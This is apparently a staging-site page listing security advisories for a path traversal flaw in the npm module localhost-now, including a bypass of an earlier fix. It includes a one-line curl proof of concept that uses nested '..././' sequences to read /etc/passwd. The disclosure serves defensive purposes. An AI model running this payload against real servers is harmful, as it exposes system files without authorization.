Staging Environment: Content and features may be unstable or change without notice.

Advisory Weakness Curation

GHSA-73cw-jxmm-qpgh

Progress 0 / 0

Advisory Summaries

github_osv/GHSA-73cw-jxmm-qpgh

Path Traversal in localhost-now All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2 Proof of concept: ``` $ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd" ``` ## Recommendation No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.

gitlab/npm/localhost-now/GMS-2019-132

Relative Path Traversal in localhost-now.